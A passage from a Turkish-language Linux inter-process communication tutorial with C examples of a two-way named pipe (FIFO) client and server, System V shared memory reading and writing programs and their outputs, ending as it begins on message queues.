Aşağıda bir örnek verilmiştir -
Step 1 - İki süreç oluşturun, biri fifoserver_twoway ve diğeri fifoclient_twoway'dir.
Step 2 - Sunucu işlemi aşağıdakileri gerçekleştirir -
Oluşturulmamışsa, / tmp dizininde "fifo_twoway" adıyla adlandırılmış bir kanal oluşturur (mkfifo () kitaplık işlevini kullanarak).
Adlandırılmış boruyu okuma ve yazma amacıyla açar.
Burada, Sahip için okuma ve yazma izinlerine sahip FIFO oluşturuldu. Grup için okuyun ve Diğerleri için izin yok.
Müşteriden gelen bir mesajı sonsuza kadar bekler.
İstemciden alınan mesaj "son" değilse, mesajı yazdırır ve dizeyi tersine çevirir. Tersine çevrilen dizi istemciye geri gönderilir. Mesaj "son" ise, fifo'yu kapatır ve işlemi sonlandırır.
Step 3 - İstemci süreci aşağıdakileri gerçekleştirir -
Adlandırılmış boruyu okuma ve yazma amacıyla açar.
Kullanıcıdan gelen dizeyi kabul eder.
Kullanıcının "end" veya "end" dışında girdi girip girmediğini kontrol eder. Her iki durumda da sunucuya bir mesaj gönderir. Bununla birlikte, dizge "son" ise, bu FIFO'yu kapatır ve işlemi de sonlandırır.
Mesaj "bitmedi" olarak gönderilirse, istemciden gelen mesajı (tersine çevrilmiş dizi) bekler ve ters çevrilmiş dizeyi yazdırır.
Kullanıcı "end" dizesini girene kadar sonsuz sayıda tekrar eder.
Şimdi, FIFO sunucusu örnek koduna bir göz atalım.
/* Filename: fifoserver_twoway.c */
#include <stdio.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#define FIFO_FILE "/tmp/fifo_twoway"
void reverse_string(char *);
int main() {
int fd;
char readbuf[80];
char end[10];
int to_end;
int read_bytes;
/* Create the FIFO if it does not exist */
mkfifo(FIFO_FILE, S_IFIFO|0640);
strcpy(end, "end");
fd = open(FIFO_FILE, O_RDWR);
while(1) {
read_bytes = read(fd, readbuf, sizeof(readbuf));
readbuf[read_bytes] = '\0';
printf("FIFOSERVER: Received string: \"%s\" and length is %d\n", readbuf, (int)strlen(readbuf));
to_end = strcmp(readbuf, end);
if (to_end == 0) {
close(fd);
break;
}
reverse_string(readbuf);
printf("FIFOSERVER: Sending Reversed String: \"%s\" and length is %d\n", readbuf, (int) strlen(readbuf));
write(fd, readbuf, strlen(readbuf));
/*
sleep - This is to make sure other process reads this, otherwise this
process would retrieve the message
*/
sleep(2);
}
return 0;
}
void reverse_string(char *str) {
int last, limit, first;
char temp;
last = strlen(str) - 1;
limit = last/2;
first = 0;
while (first < last) {
temp = str[first];
str[first] = str[last];
str[last] = temp;
first++;
last--;
}
return;
}
Derleme ve Yürütme Adımları
FIFOSERVER: Received string: "LINUX IPCs" and length is 10
FIFOSERVER: Sending Reversed String: "sCPI XUNIL" and length is 10
FIFOSERVER: Received string: "Inter Process Communication" and length is 27
FIFOSERVER: Sending Reversed String: "noitacinummoC ssecorP retnI" and length is 27
FIFOSERVER: Received string: "end" and length is 3
Şimdi, FIFO istemci örnek koduna bir göz atalım.
/* Filename: fifoclient_twoway.c */
#include <stdio.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#define FIFO_FILE "/tmp/fifo_twoway"
int main() {
int fd;
int end_process;
int stringlen;
int read_bytes;
char readbuf[80];
char end_str[5];
printf("FIFO_CLIENT: Send messages, infinitely, to end enter \"end\"\n");
fd = open(FIFO_FILE, O_CREAT|O_RDWR);
strcpy(end_str, "end");
while (1) {
printf("Enter string: ");
fgets(readbuf, sizeof(readbuf), stdin);
stringlen = strlen(readbuf);
readbuf[stringlen - 1] = '\0';
end_process = strcmp(readbuf, end_str);
//printf("end_process is %d\n", end_process);
if (end_process != 0) {
write(fd, readbuf, strlen(readbuf));
printf("FIFOCLIENT: Sent string: \"%s\" and string length is %d\n", readbuf, (int)strlen(readbuf));
read_bytes = read(fd, readbuf, sizeof(readbuf));
readbuf[read_bytes] = '\0';
printf("FIFOCLIENT: Received string: \"%s\" and length is %d\n", readbuf, (int)strlen(readbuf));
} else {
write(fd, readbuf, strlen(readbuf));
printf("FIFOCLIENT: Sent string: \"%s\" and string length is %d\n", readbuf, (int)strlen(readbuf));
close(fd);
break;
}
}
return 0;
}
Derleme ve Yürütme Adımları
FIFO_CLIENT: Send messages, infinitely, to end enter "end"
Enter string: LINUX IPCs
FIFOCLIENT: Sent string: "LINUX IPCs" and string length is 10
FIFOCLIENT: Received string: "sCPI XUNIL" and length is 10
Enter string: Inter Process Communication
FIFOCLIENT: Sent string: "Inter Process Communication" and string length is 27
FIFOCLIENT: Received string: "noitacinummoC ssecorP retnI" and length is 27
Enter string: end
FIFOCLIENT: Sent string: "end" and string length is 3
Paylaşılan hafıza, iki veya daha fazla işlem arasında paylaşılan bir hafızadır. Bununla birlikte, neden hafızayı veya başka iletişim araçlarını paylaşmamız gerekiyor?
Tekrarlamak gerekirse, her işlemin kendi adres alanı vardır, herhangi bir işlem kendi adres alanından diğer işlemlere bazı bilgilerle iletişim kurmak isterse, bu sadece IPC (süreçler arası iletişim) teknikleriyle mümkündür. Halihazırda bildiğimiz gibi, iletişim ilgili veya ilgisiz süreçler arasında olabilir.
Genellikle, birbiriyle ilişkili süreç iletişimi Borular veya Adlandırılmış Borular kullanılarak gerçekleştirilir. İlişkisiz işlemler (bir terminalde çalışan bir işlem ve başka bir terminalde başka bir işlem) iletişim, Veri Adlandırılmış Borular kullanılarak veya Paylaşılan Bellek ve Mesaj Kuyruklarının popüler IPC teknikleri aracılığıyla gerçekleştirilebilir.
Borular ve Adlandırılmış boruların IPC tekniklerini gördük ve şimdi kalan IPC tekniklerini, yani Paylaşılan Bellek, Mesaj Kuyrukları, Semaforlar, Sinyaller ve Bellek Haritalama'yı bilmenin zamanı geldi.
Bu bölümde, paylaşılan hafıza hakkında her şeyi bileceğiz.
İki veya daha fazla süreç arasında iletişim kurmak için paylaşılan hafızayı kullandığımızı biliyoruz, ancak paylaşılan hafızayı kullanmadan önce sistem çağrılarıyla yapılması gerekenler, şunu görelim -
Paylaşılan bellek bölümünü oluşturun veya önceden oluşturulmuş bir paylaşılan bellek bölümünü kullanın (shmget ())
İşlemi önceden oluşturulmuş paylaşılan bellek segmentine (shmat ()) ekleyin
İşlemi önceden eklenmiş paylaşılan bellek bölümünden ayırın (shmdt ())
Paylaşılan bellek segmentindeki kontrol işlemleri (shmctl ())
Paylaşılan hafıza ile ilgili sistem çağrılarının birkaç detayına bakalım.
#include <sys/ipc.h>
#include <sys/shm.h>
int shmget(key_t key, size_t size, int shmflg)
Yukarıdaki sistem çağrısı, bir System V paylaşılan bellek bölümü oluşturur veya tahsis eder. İletilmesi gereken argümanlar aşağıdaki gibidir -
first argument, key,paylaşılan hafıza bölümünü tanır. Anahtar, keyfi bir değer veya ftok () kitaplık işlevinden türetilebilen bir değer olabilir. Anahtar aynı zamanda IPC_PRIVATE olabilir, yani süreçleri sunucu ve istemci olarak çalıştırma (ana ve çocuk ilişkisi), yani birbiriyle ilişkili süreç iletişimidir. İstemci bu anahtarla paylaşılan belleği kullanmak istiyorsa, bu, sunucunun alt işlemi olmalıdır. Ayrıca, çocuk sürecin, ebeveyn paylaşılan bir bellek elde ettikten sonra oluşturulması gerekir.
second argument, size, PAGE_SIZE katlarına yuvarlanan paylaşılan bellek bölümünün boyutudur.
third argument, shmflg,IPC_CREAT (yeni bölüm oluşturma) veya IPC_EXCL (yeni bölüm oluşturmak için IPC_CREAT ile kullanılır ve bölüm zaten mevcutsa arama başarısız olur) gibi gerekli paylaşılan bellek işaretlerini / işaretlerini belirtir. İzinleri de geçmeniz gerekiyor.
Note - İzinlerle ilgili ayrıntılar için önceki bölümlere bakın.
Bu çağrı, başarılı olduğunda geçerli bir paylaşılan hafıza tanımlayıcısı (paylaşımlı hafızanın diğer çağrıları için kullanılır) ve başarısızlık durumunda -1 döndürecektir. Başarısızlığın nedenini öğrenmek için, errno değişkeni veya perror () işlevi ile kontrol edin.
#include <sys/types.h>
#include <sys/shm.h>
void * shmat(int shmid, const void *shmaddr, int shmflg)
Yukarıdaki sistem çağrısı, System V paylaşımlı bellek bölümü için paylaşılan bellek işlemini gerçekleştirir, yani çağrı işleminin adres alanına bir paylaşılan bellek bölümü ekleyerek. İletilmesi gereken argümanlar aşağıdaki gibidir -
The first argument, shmid,paylaşılan bellek bölümünün tanımlayıcısıdır. Bu id, shmget () sistem çağrısının dönüş değeri olan paylaşılan hafıza tanımlayıcısıdır.
The second argument, shmaddr,ekli adresi belirtmektir. Shmaddr NULL ise, sistem varsayılan olarak segmenti eklemek için uygun adresi seçer. Shmaddr NULL değilse ve SHM_RND shmflg'de belirtilmişse, eklenti en yakın SHMLBA (Alt Sınır Adresi) katının adresine eşittir. Aksi takdirde, shmaddr, paylaşılan bellek ekinin oluştuğu / başladığı sayfa hizalı bir adres olmalıdır.
The third argument, shmflg, SHM_RND (adresi SHMLBA'ya yuvarlayarak) veya SHM_EXEC (segment içeriklerinin yürütülmesine izin verir) veya SHM_RDONLY (segmenti salt okunur amaç için ekler, varsayılan olarak okuma-yazmadır) gibi gerekli paylaşılan bellek işaretlerini belirtir veya SHM_REMAP (shmaddr tarafından belirtilen aralıktaki mevcut eşlemeyi değiştirir ve segmentin sonuna kadar devam eder).
Bu çağrı, başarı durumunda ekli paylaşılan bellek segmentinin adresini ve başarısızlık durumunda -1'i döndürecektir. Başarısızlığın nedenini öğrenmek için, errno değişkeni veya perror () işlevi ile kontrol edin.
#include <sys/types.h>
#include <sys/shm.h>
int shmdt(const void *shmaddr)
Yukarıdaki sistem çağrısı, paylaşılan bellek bölümünü çağırma işleminin adres alanından ayırmak için System V paylaşılan bellek bölümü için paylaşılan bellek işlemini gerçekleştirir. Geçilmesi gereken argüman şudur:
Shmaddr argümanı, ayrılacak paylaşılan bellek bölümünün adresidir. Ayrılacak bölüm, shmat () sistem çağrısı tarafından döndürülen adres olmalıdır.
Bu çağrı, başarı durumunda 0 ve başarısızlık durumunda -1 döndürür. Başarısızlığın nedenini öğrenmek için, errno değişkeni veya perror () işlevi ile kontrol edin.
#include <sys/ipc.h>
#include <sys/shm.h>
int shmctl(int shmid, int cmd, struct shmid_ds *buf)
Yukarıdaki sistem çağrısı, bir System V paylaşılan bellek bölümü için kontrol işlemi gerçekleştirir. Aşağıdaki bağımsız değişkenlerin aktarılması gerekiyor -
İlk argüman olan shmid, paylaşılan hafıza segmentinin tanımlayıcısıdır. Bu id, shmget () sistem çağrısının dönüş değeri olan paylaşılan hafıza tanımlayıcısıdır.
İkinci argüman olan cmd, paylaşılan bellek kesimi üzerinde gerekli kontrol işlemini gerçekleştirme komutudur.
Cmd için geçerli değerler -
IPC_STAT- struct shmid_ds'in her bir üyesinin mevcut değerlerinin bilgisini tampon ile gösterilen geçirilen yapıya kopyalar. Bu komut, paylaşılan bellek bölümü için okuma izni gerektirir.
IPC_SET - Buf yapısı tarafından gösterilen kullanıcı kimliğini, sahibin grup kimliğini, izinleri vb. Ayarlar.
IPC_RMID- İmha edilecek segmenti işaretler. Segment, yalnızca son işlem onu ayırdıktan sonra yok edilir.
IPC_INFO - tampon ile gösterilen yapıdaki paylaşımlı bellek limitleri ve parametreleri hakkındaki bilgileri döndürür.
SHM_INFO - Paylaşılan bellek tarafından tüketilen sistem kaynakları hakkında bilgi içeren bir shm_info yapısı döndürür.
Üçüncü argüman olan buf, struct shmid_ds adlı paylaşılan bellek yapısına bir göstericidir. Bu yapının değerleri, cmd'ye göre set veya get için kullanılır.
Bu çağrı, geçirilen komuta bağlı olarak değeri döndürür. IPC_INFO ve SHM_INFO veya SHM_STAT başarılı olduktan sonra, paylaşılan bellek segmentinin indeksini veya tanımlayıcısını veya diğer işlemler için 0'ı ve başarısızlık durumunda -1'i döndürür. Başarısızlığın nedenini öğrenmek için, errno değişkeni veya perror () işlevi ile kontrol edin.
Aşağıdaki örnek programı ele alalım.
Biri paylaşılan hafızaya yazmak için (shm_write.c) ve diğeri paylaşılan hafızadan okumak için (shm_read.c) olmak üzere iki süreç oluşturun
Program, yazma işlemi (shm_write.c) ile paylaşılan belleğe yazma ve okuma işlemi (shm_read.c) ile paylaşılan bellekten okuma gerçekleştirir.
Paylaşılan bellekte, yazma işlemi 1K boyutunda paylaşılan bir bellek (ve bayraklar) oluşturur ve paylaşılan belleği ekler
Yazma işlemi, paylaşılan belleğe her biri 1023 bayttan "A" dan "E" ye Alfabelerin 5 katı yazar. Son bayt, arabelleğin sonunu belirtir
Okuma işlemi paylaşılan bellekten okur ve standart çıktıya yazar
Okuma ve yazma süreci eylemleri aynı anda gerçekleştirilir
Yazma tamamlandıktan sonra, yazma işlemi paylaşılan belleğe yazmanın tamamlandığını belirtmek için güncellenir (struct shmseg yapısında tam değişken ile)
Okuma işlemi, paylaşılan bellekten okuma gerçekleştirir ve yazma işleminin tamamlandığına dair gösterge alana kadar çıktıda görüntülenir (struct shmseg'de tam değişken)
Basitleştirme ve ayrıca sonsuz döngülerden kaçınmak ve programı karmaşıklaştırmak için birkaç kez okuma ve yazma işlemini gerçekleştirir
Yazma işlemi için kod aşağıdadır (Paylaşılan Belleğe Yazma - Dosya: shm_write.c)
/* Filename: shm_write.c */
#include<stdio.h>
#include<sys/ipc.h>
#include<sys/shm.h>
#include<sys/types.h>
#include<string.h>
#include<errno.h>
#include<stdlib.h>
#include<unistd.h>
#include<string.h>
#define BUF_SIZE 1024
#define SHM_KEY 0x1234
struct shmseg {
int cnt;
int complete;
char buf[BUF_SIZE];
};
int fill_buffer(char * bufptr, int size);
int main(int argc, char *argv[]) {
int shmid, numtimes;
struct shmseg *shmp;
char *bufptr;
int spaceavailable;
shmid = shmget(SHM_KEY, sizeof(struct shmseg), 0644|IPC_CREAT);
if (shmid == -1) {
perror("Shared memory");
return 1;
}
// Attach to the segment to get a pointer to it.
shmp = shmat(shmid, NULL, 0);
if (shmp == (void *) -1) {
perror("Shared memory attach");
return 1;
}
/* Transfer blocks of data from buffer to shared memory */
bufptr = shmp->buf;
spaceavailable = BUF_SIZE;
for (numtimes = 0; numtimes < 5; numtimes++) {
shmp->cnt = fill_buffer(bufptr, spaceavailable);
shmp->complete = 0;
printf("Writing Process: Shared Memory Write: Wrote %d bytes\n", shmp->cnt);
bufptr = shmp->buf;
spaceavailable = BUF_SIZE;
sleep(3);
}
printf("Writing Process: Wrote %d times\n", numtimes);
shmp->complete = 1;
if (shmdt(shmp) == -1) {
perror("shmdt");
return 1;
}
if (shmctl(shmid, IPC_RMID, 0) == -1) {
perror("shmctl");
return 1;
}
printf("Writing Process: Complete\n");
return 0;
}
int fill_buffer(char * bufptr, int size) {
static char ch = 'A';
int filled_count;
//printf("size is %d\n", size);
memset(bufptr, ch, size - 1);
bufptr[size-1] = '\0';
if (ch > 122)
ch = 65;
if ( (ch >= 65) && (ch <= 122) ) {
if ( (ch >= 91) && (ch <= 96) ) {
ch = 65;
}
}
filled_count = strlen(bufptr);
//printf("buffer count is: %d\n", filled_count);
//printf("buffer filled is:%s\n", bufptr);
ch++;
return filled_count;
}
Derleme ve Yürütme Adımları
Writing Process: Shared Memory Write: Wrote 1023 bytes
Writing Process: Shared Memory Write: Wrote 1023 bytes
Writing Process: Shared Memory Write: Wrote 1023 bytes
Writing Process: Shared Memory Write: Wrote 1023 bytes
Writing Process: Shared Memory Write: Wrote 1023 bytes
Writing Process: Wrote 5 times
Writing Process: Complete
Okuma işlemi için kod aşağıdadır (Paylaşılan Bellekten okuma ve standart çıktıya yazma - Dosya: shm_read.c)
/* Filename: shm_read.c */
#include<stdio.h>
#include<sys/ipc.h>
#include<sys/shm.h>
#include<sys/types.h>
#include<string.h>
#include<errno.h>
#include<stdlib.h>
#define BUF_SIZE 1024
#define SHM_KEY 0x1234
struct shmseg {
int cnt;
int complete;
char buf[BUF_SIZE];
};
int main(int argc, char *argv[]) {
int shmid;
struct shmseg *shmp;
shmid = shmget(SHM_KEY, sizeof(struct shmseg), 0644|IPC_CREAT);
if (shmid == -1) {
perror("Shared memory");
return 1;
}
// Attach to the segment to get a pointer to it.
shmp = shmat(shmid, NULL, 0);
if (shmp == (void *) -1) {
perror("Shared memory attach");
return 1;
}
/* Transfer blocks of data from shared memory to stdout*/
while (shmp->complete != 1) {
printf("segment contains : \n\"%s\"\n", shmp->buf);
if (shmp->cnt == -1) {
perror("read");
return 1;
}
printf("Reading Process: Shared Memory: Read %d bytes\n", shmp->cnt);
sleep(3);
}
printf("Reading Process: Reading Done, Detaching Shared Memory\n");
if (shmdt(shmp) == -1) {
perror("shmdt");
return 1;
}
printf("Reading Process: Complete\n");
return 0;
}
Derleme ve Yürütme Adımları
segment contains :
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
Reading Process: Shared Memory: Read 1023 bytes
segment contains :
"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"
Reading Process: Shared Memory: Read 1023 bytes
segment contains :
"CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC"
Reading Process: Shared Memory: Read 1023 bytes
segment contains :
"DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD"
Reading Process: Shared Memory: Read 1023 bytes
segment contains :
"EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE"
Reading Process: Shared Memory: Read 1023 bytes
Reading Process: Reading Done, Detaching Shared Memory
Reading Process: Complete
Paylaşılan hafızaya zaten sahipken neden mesaj kuyruklarına ihtiyacımız var? Bunun birçok nedeni olabilir, basitleştirmek için bunu birden çok noktaya ayırmaya çalışalım -
Anlaşıldığı gibi, mesaj bir işlem tarafından alındığında artık başka herhangi bir işlem için mevcut olmayacaktır. Paylaşılan bellekteyken, veriler birden çok işlemin erişmesi için kullanılabilir.
Küçük mesaj formatlarıyla iletişim kurmak istiyorsak.
Birden fazla işlem aynı anda iletişim kurarken, paylaşılan hafıza verilerinin senkronizasyon ile korunması gerekir.
Paylaşılan hafızayı kullanarak yazma ve okuma sıklığı yüksektir, bu durumda işlevselliği uygulamak çok karmaşık olacaktır. Bu tür durumlarda kullanıma değmez.
Ya tüm işlemlerin paylaşılan belleğe erişmesi gerekmiyorsa, ancak çok az işlem yalnızca buna ihtiyaç duyuyorsa, ileti kuyruklarıyla uygulanması daha iyi olur.
Farklı veri paketleri ile iletişim kurmak istiyorsak, diyelim ki süreç A, B sürecine mesaj tipi 1, C işlemine mesaj tipi 10 ve D işlemine mesaj tipi 20 gönderiyor. Bu durumda, mesaj kuyrukları ile uygulamak daha basittir. Verilen mesaj tipini 1, 10, 20 olarak basitleştirmek için, aşağıda tartışıldığı gibi 0 veya + ve veya –ve olabilir.
Tabii ki, mesaj kuyruğu sırası FIFO'dur (İlk Giren İlk Çıkar). Kuyruğa eklenen ilk mesaj, alınacak ilk mesajdır.
Paylaşılan Hafıza veya Mesaj Kuyruklarının kullanılması, uygulamanın ihtiyacına ve ne kadar etkili kullanılabileceğine bağlıdır.
Mesaj kuyruklarını kullanarak iletişim aşağıdaki şekillerde gerçekleşebilir -
Bir işlemle paylaşılan belleğe yazmak ve başka bir işlemle paylaşılan bellekten okumak. Bildiğimiz gibi okuma birden fazla işlemle de yapılabilir.
Paylaşılan belleğe farklı veri paketlerine sahip bir işlemle yazmak ve ondan birden çok işlemle, yani mesaj türüne göre okumak.
Mesaj kuyruklarında belirli bilgileri gördükten sonra, artık mesaj kuyruklarını destekleyen sistem çağrısını (System V) kontrol etme zamanı geldi.
Mesaj kuyruklarını kullanarak iletişim gerçekleştirmek için aşağıdaki adımlar verilmiştir -
Step 1 - Bir mesaj kuyruğu oluşturun veya mevcut bir mesaj kuyruğuna bağlanın (msgget ())
